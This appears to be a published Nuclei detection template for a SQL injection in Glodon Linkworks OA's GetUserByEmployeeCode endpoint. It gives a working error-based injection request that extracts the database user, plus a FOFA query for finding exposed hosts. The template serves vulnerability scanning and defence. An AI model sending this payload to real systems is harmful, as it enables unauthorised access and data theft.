Glodon Linkworks GWGdWebService - SQL injection

ID: glodon-linkworks-sqli

Severity: high

Author: DhiyaneshDK

Tags: glodon,linkworks,sqli

Description

There is a SQL injection vulnerability in the GWGdWebService interface of Glodon Linkworks office OA. Sensitive information in the database can be obtained after sending a request package.

YAML Source

id: glodon-linkworks-sqli

info:
  name: Glodon Linkworks GWGdWebService - SQL injection
  author: DhiyaneshDK
  severity: high
  description: |
    There is a SQL injection vulnerability in the GWGdWebService interface of Glodon Linkworks office OA. Sensitive information in the database can be obtained after sending a request package.
  reference:
    - https://github.com/zan8in/pocwiki/blob/main/%E5%B9%BF%E8%81%94%E8%BE%BE-linkworks-gwgdwebservice%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: banner="Services/Identification/login.ashx"
  tags: glodon,linkworks,sqli

http:
  - raw:
      - |
        POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        employeeCode=1'-1/user--'&EncryptData=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code==500'
          - 'contains_any(header, "text/html", "text/plain")'
          - 'contains_all(body, "在将 nvarchar 值", "转换成数据类型 int 时失败")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '在将 nvarchar 值 '(.*)' 转换成数据类型 int 时失败。'
# digest: 490a00463044022073d03613c1ef5605c2f45ffef5f2c01ed22f44bd0f1aa63f16d2da96d75dbcff0220665b465dd4ebb698045da94c5752aff668004d3c44e6cd9129da311213b74ed2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/glodon-linkworks-sqli.yaml"

View on Github